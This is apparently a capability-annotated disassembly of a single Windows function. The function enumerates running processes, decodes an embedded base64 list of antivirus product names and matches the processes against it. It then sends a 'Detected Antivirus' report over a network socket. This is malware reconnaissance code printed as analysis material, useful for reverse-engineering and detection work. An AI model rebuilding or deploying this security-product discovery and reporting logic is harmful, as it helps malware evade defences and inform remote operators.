Function at 0x1400023e7
Capabilities:
Enumerate processes
Send data
Send data on socket

Disassembly:
push rbp
sub rsp, 0x250
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x1e0], rcx
lea rax, str.TXNNcEVuZy5leGU
mov qword [rbp + 0xf0], rax
lea rax, str.U2VjSGVhbHRoVUk
mov qword [rbp + 0xf8], rax
lea rax, str.U2VjdXJpdHlIZWFsdGhTeXN0cmF5
mov qword [rbp + 0x100], rax
lea rax, str.Tm9ydG9u
mov qword [rbp + 0x108], rax
lea rax, str.TWNhRmVl
mov qword [rbp + 0x110], rax
lea rax, str.UGFuZGE
mov qword [rbp + 0x118], rax
lea rax, str.UFNVQU1haW4
mov qword [rbp + 0x120], rax
lea rax, str.QXZhc3Q
mov qword [rbp + 0x128], rax
lea rax, str.QVZH
mov qword [rbp + 0x130], rax
lea rax, str.S2FzcGVyc2t5
mov qword [rbp + 0x138], rax
lea rax, str.Qml0ZGVmZW5kZXI
mov qword [rbp + 0x140], rax
lea rax, str.RVNFVCBOT0QzMg
mov qword [rbp + 0x148], rax
lea rax, str.VHJlbmQgTWljcm8
mov qword [rbp + 0x150], rax
lea rax, str.QXZpcmE
mov qword [rbp + 0x158], rax
lea rax, str.U29waG9z
mov qword [rbp + 0x160], rax
lea rax, str.TWFsd2FyZWJ5dGVz
mov qword [rbp + 0x168], rax
lea rax, str.bWJhbXRyYXk
mov qword [rbp + 0x170], rax
lea rax, str.UGFuZGE
mov qword [rbp + 0x178], rax
lea rax, str.d2Vicm9vdCBzZWN1cmVhbnl3aGVyZQ
mov qword [rbp + 0x180], rax
lea rax, str.Zi1zZWN1cmU
mov qword [rbp + 0x188], rax
mov qword [rbp + 0x190], 0
mov edx, 0
mov ecx, 2
call sym.CreateToolhelp32Snapshot
mov qword [rbp + 0x1c0], rax
cmp qword [rbp + 0x1c0], 0
je 0x14000277f
mov dword [rbp - 0x50], 0x130
mov dword [rbp + 0x1cc], 0
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0x1c0]
mov rcx, rax
call sym.Process32First
test eax, eax
je 0x140002746
mov dword [rbp + 0x1c8], 0
jmp 0x14000270b
mov eax, dword [rbp + 0x1c8]
cdqe
mov rax, qword [rbp + rax*8 + 0xf0]
mov rcx, rax
call sym.strlen
mov qword [rbp + 0x1b8], rax
mov eax, dword [rbp + 0x1c8]
cdqe
mov rax, qword [rbp + rax*8 + 0xf0]
lea rcx, [rbp + 0xe8]
mov rdx, qword [rbp + 0x1b8]
mov r8, rcx
mov rcx, rax
call sym.base64_decode
mov qword [rbp + 0x1b0], rax
mov rax, qword [rbp + 0x1b8]
add rax, 1
mov rcx, rax
call sym.malloc
mov qword [rbp + 0x1a8], rax
mov rax, qword [rbp + 0xe8]
mov r8d, eax
mov rdx, qword [rbp + 0x1b8]
mov rax, qword [rbp + 0x1a8]
mov rcx, qword [rbp + 0x1b0]
mov qword [rsp + 0x20], rcx
mov r9d, r8d
lea r8, str._.s
mov rcx, rax
call sym.snprintf
mov rax, qword [rbp + 0x1a8]
lea rdx, [rbp - 0x50]
lea rcx, [rdx + 0x2c]
mov rdx, rax
call sym.strstr
test rax, rax
je 0x1400026e6
mov rax, qword [rbp + 0x1a8]
mov rcx, rax
call sym.NameFinder
mov rcx, rax
mov eax, dword [0x140013078]
movsxd rdx, eax
mov rax, qword [0x140013070]
lea r8, [rbp - 0x50]
add r8, 0x2c
mov qword [rsp + 0x20], r8
mov r9, rcx
lea r8, str._n____Detected_Antivirus:__s___s
mov rcx, rax
call sym.snprintf
mov dword [rbp + 0x1a4], eax
cmp dword [rbp + 0x1a4], 0
js 0x1400026ca
mov eax, dword [0x140013078]
cmp dword [rbp + 0x1a4], eax
jge 0x1400026ca
mov rdx, qword [0x140013070]
mov eax, dword [rbp + 0x1a4]
cdqe
add rax, rdx
mov qword [0x140013070], rax
mov eax, dword [0x140013078]
sub eax, dword [rbp + 0x1a4]
mov dword [0x140013078], eax
jmp 0x140002724
mov r8d, 0x400
mov edx, 0
lea rax, [0x14001b0a0]
mov rcx, rax
call sym.memset
jmp 0x140002724
mov rax, qword [rbp + 0x1b0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x1a8]
mov rcx, rax
call sym.free
add dword [rbp + 0x1c8], 1
mov eax, dword [rbp + 0x1c8]
cdqe
mov rax, qword [rbp + rax*8 + 0xf0]
test rax, rax
jne 0x140002580
add dword [rbp + 0x1cc], 1
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0x1c0]
mov rcx, rax
call sym.Process32Next
test eax, eax
jne 0x140002571
mov rax, qword [rbp + 0x1c0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x1e0]
mov r9d, 0
mov r8d, 0x400
lea rdx, [0x14001b0a0]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov r8d, 0x400
mov edx, 0
lea rax, [0x14001b0a0]
mov rcx, rax
call sym.memset
mov eax, 0
add rsp, 0x250
pop rbp
ret